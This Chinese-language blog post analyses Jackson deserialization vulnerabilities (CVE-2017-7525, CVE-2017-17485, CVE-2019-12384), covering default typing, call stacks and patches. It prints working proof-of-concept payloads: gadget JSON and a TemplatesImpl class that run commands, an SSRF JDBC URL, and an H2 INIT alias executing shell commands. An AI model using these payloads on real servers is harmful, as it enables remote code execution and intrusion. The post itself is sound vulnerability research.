Yoga7xm's Blog

Jackson 反序列化漏洞简析

字数统计: 2.3k阅读时长: 10 min
2019/07/30 Share

Demo

最基础的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
private Integer age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Integer getAge() {
return age;
}

public void setAge(Integer age) {
this.age = age;
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
import com.fasterxml.jackson.databind.ObjectMapper;
public class demo1 {
public static void main(String[] args) throws Exception {
Student stu = new Student();
stu.setName("yoga");
stu.setAge(20);
ObjectMapper mapper = new ObjectMapper();
String jsonString = mapper.writeValueAsString(stu);
//{"name":"yoga","age":20}
System.out.println(jsonString);
}
}

反序列化操作

1
2
3
4
5
6
7
8
9
10
import com.fasterxml.jackson.databind.ObjectMapper;
public class demo2 {
public static void main(String[] args) throws Exception{
ObjectMapper mapper = new ObjectMapper();
String jsonString = "{\"name\":\"yoga\",\"age\":20}";
Student stu = mapper.readValue(jsonString,Student.class);
//Student{name='yoga', age=20}
System.out.println(stu);
}
}

只使用默认提供的这几个方法是没有什么安全漏洞的,但是需要去对一些特殊类(接口、抽象类等)进行序列化操作时,就需要下面的数据绑定了

多态类型数据绑定

对于有多个子类型的多态集成结构的对象,Jackson在序列化的时候加入一些类型信息,可以在反序列化的时候准确的还原某个类型的子类

主要有两种方式实现:

  1. 全局Default Typing机制
  2. JsonTypeInfo注解

DefaultTyping

有四个选项:

  1. JAVA_LANG_OBJECT:当对象属性类型为Object时生效
  2. OBJECT_AND_NON_CONCRETE:当对象属性类型为Object或者非具体类型(抽象类和接口)时生效。默认的、无参的enableDefaultTyping属于该等级
  3. NON_CONCRETE_AND_CONCRETE:同上, 另外所有的数组元素的类型都是非具体类型或者对象类型
  4. NON_FINAL:对所有非final类型或者非final类型元素的数组

假设有一个存在危险函数的类,反序列化该类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.fasterxml.jackson.databind.ObjectMapper;

public class JacksonRce {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String poc = "{\"name\":\"yoga\",\"age\":20,\"obj\":[\"jackson.rce.demo\",{\"cmd\":\"calc\"}]}";
Student student = mapper.readValue(poc,Student.class);
System.out.println(student);
}
}
class demo{
private String cmd;

public String getCmd() {
System.out.println("getter()");
return cmd;
}

public void setCmd(String cmd) throws Exception {
System.out.println("setter()");
this.cmd = cmd;
Runtime.getRuntime().exec(cmd);
}

public demo(){
System.out.println("demo()");
}
}

运行结果

成功反序列化,并且自动触发了类中的setter()和构造方法。也就是说,开启了这个功能,就可以反序列化任意类了

JsonTypeInfo注解

同样的,Jackson提供了@JsonTypeInfo注解来开启多态类型的处理,使用这个注释可以更精细的定制序列化的JSON文件格式。

1
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS,include = JsonTypeInfo.As.PROPERTY,property = "@Clazz")
  • use:定义使用哪一种类型识别码,有五种可选值
    • JsonTypeInfo.Id.NONE
    • JsonTypeInfo.Id.CLASS
    • JsonTypeInfo.Id.MANIMAL_CLASS
    • JsonTypeInfo.Id.NAME
    • JsonTypeInfo.Id.CUSTOM
  • include(可选):指定识别码是否出现在进去的
  • property(可选):指定识别码的名称,默认是@Class

这个注解可以直接放在类上,也可以放在某个属性上,序列化时并不需要开启DefaultType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Student {
private String name;
private Integer age;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object obj;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Integer getAge() {
return age;
}

public void setAge(Integer age) {
this.age = age;
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +'\'' +
", obj=" + obj +
'}';
}
}
class Teacher implements Person{
private int age;

@Override
public String toString() {
return "Teacher{" +
"age=" + age +
'}';
}

public Teacher() {
System.out.println("Hello Teacher!!");;
}

@Override
public void setAge(int age) {
this.age = age;
}

@Override
public int getAge() {
return this.age;
}
}
interface Person{
public void setAge(int age);
public int getAge();
}

NONE

序列化结果:

1
{"name":"yoga","age":20,"obj":{"age":32}}

表示不使用识别码,序列化后的数据不包含类信息等,无法利用

CLASS

序列化结果:

1
{"name":"yoga","age":20,"obj":{"@class":"jackson.rce.Teacher","age":32}}

表示使用完全限定类名做识别,@class中有详细的类名称,可以用来反序列化任意类

POC:

1
{"name":"yoga","age":20,"obj":{"@class":"jackson.rce.demo","cmd":"calc"}}

MINIMAL_CLASS

序列化结果:

1
{"name":"yoga","age":20,"obj":{"@c":"jackson.rce.Teacher","age":32}}

表示若基类和子类在同一包类,使用类名(忽略包名)作为识别码,同样@c中有详细的类名称,可以用来反序列化任意类

POC:

1
{"name":"yoga","age":20,"obj":{"@c":"jackson.rce.demo","cmd":"calc"}}

NAME

序列化结果:

1
{"name":"yoga","age":20,"obj":{"@type":"Teacher","age":32}}

表示自定义的指定名称,虽然@type中有类名,但是缺少包信息,无法利用

CUSTOM

表示自定义识别码,直接反序列化会抛异常需要自定义的解析器去实现

Conclusion

开启了DefaultTyping以及@JsonTypeInfo的Class和Minimal_Class是不安全的,可以用来反序列化任意类

反序列化流程

在readValue()和构造函数Teacher()处断点,寻找如何反序列化Teacher类的,调用栈

之前都是构造和处理参数的,直接断点在deserialize()

这里的_vanillaProcessing为true,所以调用vanillaDeserialize(),跟进方法

一进来方法又调用createUsingDefault(),继续跟进

使用annotations去反射实例化Teacher类调用构造方法,并返回给vanillaDeserialize中的变量bean。而后又调用了deserializeAndSet()

在这里用反射的方法去调用setter方法,给反序列化的对象赋值

CVE-2017-7525

TemplatesImpl链

利用条件限制

  • 开启了enableDefaultTyping或者@JsonTypeInfo的CLASSMinimal_Class
  • Jackson < 2.7.10 or Jackson < 2.8.9
  • JDK7u21以下的环境(这里使用7u21)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc extends AbstractTranslet {

public Poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

使用的是廖大神的POC:传送门

漏洞分析

在readValue()处和getOutputProperties()进行断点,查看调用栈

在getBinaryValue()中调用decodeBase64()对传入的数据进行解码

然后,直接来到deserializeAndSet()

很明显,这里本来是通过反射调用对应的setter方法,但是对于变量outputProperties并没有对应的setter方法,此时他就会去调用getter方法,也就是开始了getOutputProperties()链,与此前的fastjson的过程一样

1
getOutputProperties() -> newTransformer() -> getTransletInstance() -> AbstractTranslet.newInstance() -> Runtime.exec()

但是在jdk1.8的某个版本后(1.8.0_102不行),defineTransletClasses()中新增了对_tfactory的处理,但是无法给它赋值,所以会抛出异常,导致poc无法生效

漏洞补丁

传送门

这里很明显是使用黑名单的方式来限制反序列化的类,于是乎就有了CVE-2017-17485等后续漏洞

CVE-2017-17485

利用Spring spel来RCE的,这里先复现一下,等学习一波spel之后再补

利用条件限制

  • 开启了enableDefaultTyping或者@JsonTypeInfo的CLASSMinimal_Class
  • 版本
    • 影响:version<= 2.9.3 or version <= 2.7.9.1 or version <= 2.8.10
    • 不受影响:2.9.3.1、2.7.9.2、2.8.11

漏洞环境

传送门

CVE-2019-12384

简要分析

利用条件限制

  1. 2.X < 2.9.9.1
  2. 同时需要序列化和反序列化操作(比较鸡肋了)
  3. RCE的话还需要h2database依赖

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;

public class Main {

public static void main(String[] args) throws Exception {
//SSRF POC
String poc1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:9999/\"}]";

//RCE POC
String poc2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ Object shellexec(String a,String b,String c) throws java.io.IOException {return Runtime.getRuntime().exec(new String[]{a,b,c})\\\\;} $$\\\\;CALL SHELLEXEC('cmd','/c','calc')\\\\;\"}]";

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS,false);
Object obj = mapper.readValue(poc2,Object.class);
mapper.writeValueAsString(obj);
}
}

打上断点直接来看调用栈

反序列化流程和之前的一样,然后反射调用setUrl()方法给url赋值,继续跟进,然后就结束了反序列化流程回到了主函数中。进入序列化流程

在序列化流程中,所有的属性都会遍历一遍,然后去寻找getter()方法,调用getDriverClass和getUrl后,再调用getConnection(),这里的url的值为反序列化时赋予的,可控。

这里就发起请求,造成SSRF

SSRF To RCE

H2是非常快速的一个内存SQL数据库,通常是作为全功能版SQL数据库管理系统(比如Postgresql、MSSql、MySql或者OracleDB)的替代方案。H2配置起来非常方便,并且也支持许多模型,比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。如果单有该功能,攻击者并不能在JVM上下文中执行Java代码。然而,由于H2在JVM框架内实现,因此支持指定包含java代码的自定义别名。

通过sql来调用java代码,继续回到getConnection()

这里获取init属性,也就是jdbc url中的SQL命令

executeUpdate()执行init中的语句

漏洞补丁

传送门

还是将DriverManagerConnectionSource类加入黑名单

Reference

http://codelife.me/blog/2012/11/03/jackson-polymorphic-deserialization/

https://b1ue.cn/archives/189.html

https://github.com/shengqi158/Jackson-databind-RCE-PoC

https://www.anquanke.com/post/id/182695

http://www.leadroyal.cn/?p=616

CATALOG
  1. 1. Demo
    1. 1.1. 序列化操作
    2. 1.2. 反序列化操作
  2. 2. 多态类型数据绑定
    1. 2.1. DefaultTyping
    2. 2.2. JsonTypeInfo注解
      1. 2.2.1. NONE
      2. 2.2.2. CLASS
      3. 2.2.3. MINIMAL_CLASS
      4. 2.2.4. NAME
      5. 2.2.5. CUSTOM
    3. 2.3. Conclusion
  3. 3. 反序列化流程
  4. 4. CVE-2017-7525
    1. 4.1. TemplatesImpl链
      1. 4.1.1. 利用条件限制
      2. 4.1.2. POC
      3. 4.1.3. 漏洞分析
    2. 4.2. 漏洞补丁
  5. 5. CVE-2017-17485
    1. 5.1. 利用条件限制
    2. 5.2. 漏洞环境
  6. 6. CVE-2019-12384
    1. 6.1. 简要分析
      1. 6.1.1. 利用条件限制
      2. 6.1.2. POC
      3. 6.1.3. SSRF To RCE
    2. 6.2. 漏洞补丁
  7. 7. Reference